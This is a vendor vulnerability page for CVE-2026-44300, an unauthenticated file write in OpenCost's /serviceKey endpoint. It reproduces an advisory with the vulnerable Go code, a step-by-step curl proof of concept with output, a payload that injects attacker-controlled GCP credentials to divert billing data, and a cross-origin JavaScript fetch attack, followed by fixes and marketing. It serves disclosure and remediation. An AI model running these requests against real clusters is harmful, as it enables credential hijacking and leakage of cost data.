CVE-2026-44300

CVE-2026-44300 is a high-severity improper input validation vulnerability in github.com/opencost/opencost (go), affecting versions < 1.119.1. It is fixed in 1.119.1.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

OpenCost ServiceKey Endpoint Unauthorized Credential Overwrite/Injection

OpenCost contains an unauthenticated file write vulnerability in the /serviceKey endpoint that allows remote attackers to overwrite the GCP service account key file without authentication. This can lead to service disruption, credential theft, and potential privilege escalation within Kubernetes clusters.

Affected Versions

  • OpenCost: All versions up to and including the latest release
  • Vulnerable File: pkg/costmodel/router.go (lines 365-379)
  • Vulnerable Endpoint: POST /serviceKey

Vulnerability Details

Root Cause

The AddServiceKey function in pkg/costmodel/router.go accepts user-supplied data via POST request and writes it directly to a file without any authentication or input validation:

func (a *Accesses) AddServiceKey(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
    w.Header().Set("Content-Type", "application/json")
    w.Header().Set("Access-Control-Allow-Origin", "*")  // Overly permissive CORS

    r.ParseForm()

    key := r.PostForm.Get("key")  // User-controlled input, no validation
    k := []byte(key)
    err := os.WriteFile(env.GetGCPAuthSecretFilePath(), k, 0644)  //  Direct file write
    if err != nil {
        fmt.Fprintf(w, "Error writing service key: %s", err)
    }

    w.WriteHeader(http.StatusOK)
}

File Path Determination (core/pkg/env/core.go):

func GetGCPAuthSecretFilePath() string {
    return GetPathFromConfig("key.json")
}

func GetPathFromConfig(fileName string) string {
    return filepath.Join(GetConfigPath(), fileName)
}

func GetConfigPath() string {
    return Get(ConfigPathEnvVar, DefaultConfigPath)  // Default: /var/configs
}

Security Issues

  1. No Authentication: Any network-accessible client can invoke the endpoint
  2. No Input Validation: User input is not validated as a valid GCP service account key
  3. Overly Permissive CORS: Access-Control-Allow-Origin: * allows cross-origin attacks
  4. Predictable File Path: File location controlled by CONFIG_PATH environment variable

Proof of Concept

Environment Setup

Prerequisites

  • Kubernetes cluster (tested on kind v1.30.0)
  • Helm 3.x
  • kubectl configured

Step 1: Create Namespace

kubectl create namespace opencost

Output:

namespace/opencost created

Step 2: Add OpenCost Helm Repository

helm repo add opencost https://opencost.github.io/opencost-helm-chart
helm repo update

Output:

"opencost" has been added to your repositories
Hang tight while we grab the latest from your chart repositories...
...Successfully got an update from the "opencost" chart repository
Update Complete. Happy Helming!

Step 3: Deploy OpenCost

helm install opencost opencost/opencost --namespace opencost \
  --set opencost.exporter.defaultClusterId=test-cluster \
  --set opencost.prometheus.internal.enabled=true \
  --set opencost.prometheus.internal.serviceName=kube-prometheus-stack-prometheus \
  --set opencost.prometheus.internal.namespaceName=monitoring \
  --set opencost.prometheus.internal.port=9090 \
  --set-string 'opencost.exporter.extraEnv.CONFIG_PATH=/tmp'

Key Configuration:

  • CONFIG_PATH=/tmp: Sets writable directory for file operations

Output:

NAME: opencost
LAST DEPLOYED: Sun Jan 18 00:39:21 2026
NAMESPACE: opencost
STATUS: deployed
REVISION: 1

Step 4: Verify Deployment

kubectl get pods -l app.kubernetes.io/instance=opencost -n opencost

Output:

NAME                      READY   STATUS    RESTARTS   AGE
opencost-db97bbcc-5q8cb   2/2     Running   0          44s

Step 5: Verify Service Accessibility

kubectl run curl-test --image=curlimages/curl --rm -i --restart=Never -- \
  curl -v http://opencost.opencost.svc.cluster.local:9003/healthz

Output:

< HTTP/1.1 200 OK
< Vary: Origin
< Date: Sat, 17 Jan 2026 16:32:07 GMT
< Content-Length: 0

Exploitation

Step 6: Check Initial State

kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- cat /tmp/key.json

Output:

cat: can't open '/tmp/key.json': No such file or directory

Note: File does not exist initially

Step 7: Verify CONFIG_PATH Configuration

kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- env | grep CONFIG_PATH

Output:

CONFIG_PATH=/tmp

Note: CONFIG_PATH correctly set to /tmp

Step 8: Execute Exploit

MALICIOUS_CONTENT='{"type":"VULNERABILITY_PROOF","vuln_id":"VUL-002","timestamp":"2026-01-18T00:41:00Z","message":"Arbitrary file write without authentication - SUCCESSFUL","injected_by":"security_researcher","evidence":"This proves the vulnerability exists"}'

kubectl run vuln-exploit --image=curlimages/curl --rm -i --restart=Never -- \
  curl -X POST http://opencost.opencost.svc.cluster.local:9003/serviceKey \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "key=${MALICIOUS_CONTENT}" \
  -v

Request Details:

> POST /serviceKey HTTP/1.1
> Host: opencost.opencost.svc.cluster.local:9003
> User-Agent: curl/8.18.0
> Accept: */*
> Content-Type: application/x-www-form-urlencoded
> Content-Length: 244

Response Details:

< HTTP/1.1 200 OK
< Access-Control-Allow-Origin: *
< Content-Type: application/json
< Vary: Origin
< Date: Sat, 17 Jan 2026 16:42:29 GMT
< Content-Length: 0

Result: HTTP 200 OK - Request successful without authentication

Step 9: Verify File Write

kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- cat /tmp/key.json

Output:

{"type":"VULNERABILITY_PROOF","vuln_id":"VUL-002","timestamp":"2026-01-18T00:41:00Z","message":"Arbitrary file write without authentication - SUCCESSFUL","injected_by":"security_researcher","evidence":"This proves the vulnerability exists"}

Result: VULNERABILITY CONFIRMED - Malicious content successfully written to file

Impact Analysis

Direct Impact

Impact Type Severity Description
Unauthorized Credential Overwrite High Attacker can overwrite GCP service account key file content
No Authentication Required High Vulnerability can be exploited without any credentials
CORS Misconfiguration Medium Allows cross-origin attacks via malicious websites
Fixed File Path Low Attacker cannot control write location, only content

Attack Scenario Analysis

Scenario 1: GCP Credential Overwrite Leading to Service Disruption

Attack Steps:

  1. Attacker sends POST request with invalid JSON or malformed GCP key
  2. /serviceKey endpoint accepts request and overwrites existing key.json file
  3. OpenCost attempts to access GCP API with corrupted credentials
  4. GCP integration fails, cost data collection stops

Technical Details:

# Attack payload example
curl -X POST http://opencost:9003/serviceKey \
  -d 'key={"invalid":"json","corrupted":"credentials"}'

Impact:

  • Cost Monitoring Disruption: Unable to retrieve GCP cloud cost data
  • Operational Impact: FinOps processes dependent on cost data are blocked
  • Availability Degradation: Manual intervention required to restore correct credentials

CVSS Impact Score: Availability impact is Low (A:L)

Scenario 2: Malicious Credential Injection for Data Hijacking

Attack Steps:

  1. Attacker creates their own GCP project and service account
  2. Injects attacker-controlled valid GCP credentials into OpenCost
  3. OpenCost uses attacker's credentials to send requests to GCP Billing API
  4. Target organization's cost data is sent to attacker's GCP project

Technical Details:

# Inject attacker credentials
ATTACKER_KEY='{
  "type": "service_account",
  "project_id": "attacker-billing-project",
  "private_key": "-----BEGIN PRIVATE KEY-----\n...\n-----END PRIVATE KEY-----\n",
  "client_email": "[email protected]"
}'

curl -X POST http://opencost:9003/serviceKey -d "key=${ATTACKER_KEY}"

Impact:

  • Sensitive Data Leakage: Organization's cloud resource usage patterns and cost details
  • Business Intelligence Leakage: Can infer business scale, growth trends, technology stack
  • Compliance Risk: Cost data may contain protected business information

Data Leakage Examples:

  • Kubernetes cluster size and node configuration
  • Resource consumption per namespace (can map to business units)
  • Cloud service usage patterns (databases, storage, compute instance types)
  • Cost trends (can infer business growth or contraction)

CVSS Impact Score: Confidentiality impact is None (C:N), but business impact is High

Scenario 3: Cross-Origin Attack (CORS Exploitation)

Attack Steps:

  1. User visits attacker-controlled malicious website
  2. Malicious JavaScript sends POST request to http://localhost:9003/serviceKey
  3. Due to CORS set to *, browser allows cross-origin request
  4. User's browser acts as proxy to execute credential overwrite attack

Prerequisites:

  • User exposes OpenCost service via kubectl port-forward or other means
  • User's browser can access OpenCost endpoint

Technical Details:

// JavaScript on malicious website
fetch('http://localhost:9003/serviceKey', {
  method: 'POST',
  headers: {'Content-Type': 'application/x-www-form-urlencoded'},
  body: 'key={"type":"malicious"}'
});

Impact:

  • User-Unaware Attack: No active user interaction required
  • Difficult to Trace: Attack originates from victim's IP address
  • Limited Exploitation Conditions: Requires OpenCost exposed to user-accessible network

Vulnerability Limitations

What Attacker Cannot Control:

  • File Write Path: Fixed by CONFIG_PATH environment variable, attacker cannot modify
  • File Name: Fixed as key.json, cannot write to other files
  • File Permissions: Write permission is 0644, attacker cannot escalate

Actual Attack Capabilities:

  • File Content Control: Complete control over key.json content
  • Unauthenticated Exploitation: No credentials required to trigger
  • Remote Accessibility: Can be exploited over network (if service exposed)

Real-World Impact Assessment

Deployment Scenario Risk Level Description
Cluster-Internal Only Medium Requires attacker to have cluster network access
Exposed via Ingress High Any internet user can exploit
Exposed via NodePort High Attackers with node network access can exploit
Via port-forward Medium-High Local dev environments vulnerable to CORS attacks

Recommended Risk Rating:

  • Default deployment (cluster-internal): Medium
  • Improperly exposed (public internet): High

Immediate Actions (P0)

1. Add Authentication

func (a *Accesses) AddServiceKey(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
    // Add authentication check
    if !a.isAuthorized(r) {
        http.Error(w, "Unauthorized", http.StatusUnauthorized)
        return
    }

    // ... existing logic
}

2. Implement Input Validation

func validateServiceKey(key string) error {
    var keyData map[string]interface{}
    if err := json.Unmarshal([]byte(key), &keyData); err != nil {
        return fmt.Errorf("invalid JSON format")
    }

    requiredFields := []string{"type", "project_id", "private_key_id", "private_key"}
    for _, field := range requiredFields {
        if _, ok := keyData[field]; !ok {
            return fmt.Errorf("missing required field: %s", field)
        }
    }

    if keyData["type"] != "service_account" {
        return fmt.Errorf("invalid key type")
    }

    return nil
}

3. Restrict CORS

w.Header().Set("Access-Control-Allow-Origin", os.Getenv("ALLOWED_ORIGIN"))

Long-term Solutions (P1)

  1. Use Kubernetes Secrets: Store credentials in Kubernetes Secrets instead of files
  2. Implement RBAC: Role-based access control for sensitive operations
  3. Add Audit Logging: Log all file write operations
  4. Apply Least Privilege: Minimize ClusterRole permissions

Workarounds

Until a patch is available, implement these mitigations:

  1. Network Segmentation: Restrict access to OpenCost service using NetworkPolicies
  2. Disable Endpoint: Remove or disable the /serviceKey endpoint if not required
  3. Monitor File Changes: Alert on modifications to key.json file
  4. Use Read-only Filesystem: Mount config directory as read-only where possible

References

Impact

The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths. Typical impact: varies by context: data corruption, logic bypass, or denial of service.

Affected versions

github.com/opencost/opencost (< 1.119.1)

Security releases

github.com/opencost/opencost → 1.119.1 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade github.com/opencost/opencost to 1.119.1 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-44300? CVE-2026-44300 is a high-severity improper input validation vulnerability in github.com/opencost/opencost (go), affecting versions < 1.119.1. It is fixed in 1.119.1. The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths.
  2. Which versions of github.com/opencost/opencost are affected by CVE-2026-44300? github.com/opencost/opencost (go) versions < 1.119.1 is affected.
  3. Is there a fix for CVE-2026-44300? Yes. CVE-2026-44300 is fixed in 1.119.1. Upgrade to this version or later.
  4. Is CVE-2026-44300 exploitable, and should I be worried? Whether CVE-2026-44300 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether CVE-2026-44300 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix CVE-2026-44300? Upgrade github.com/opencost/opencost to 1.119.1 or later.

Stop the waste.
Protect your environment with Kodem.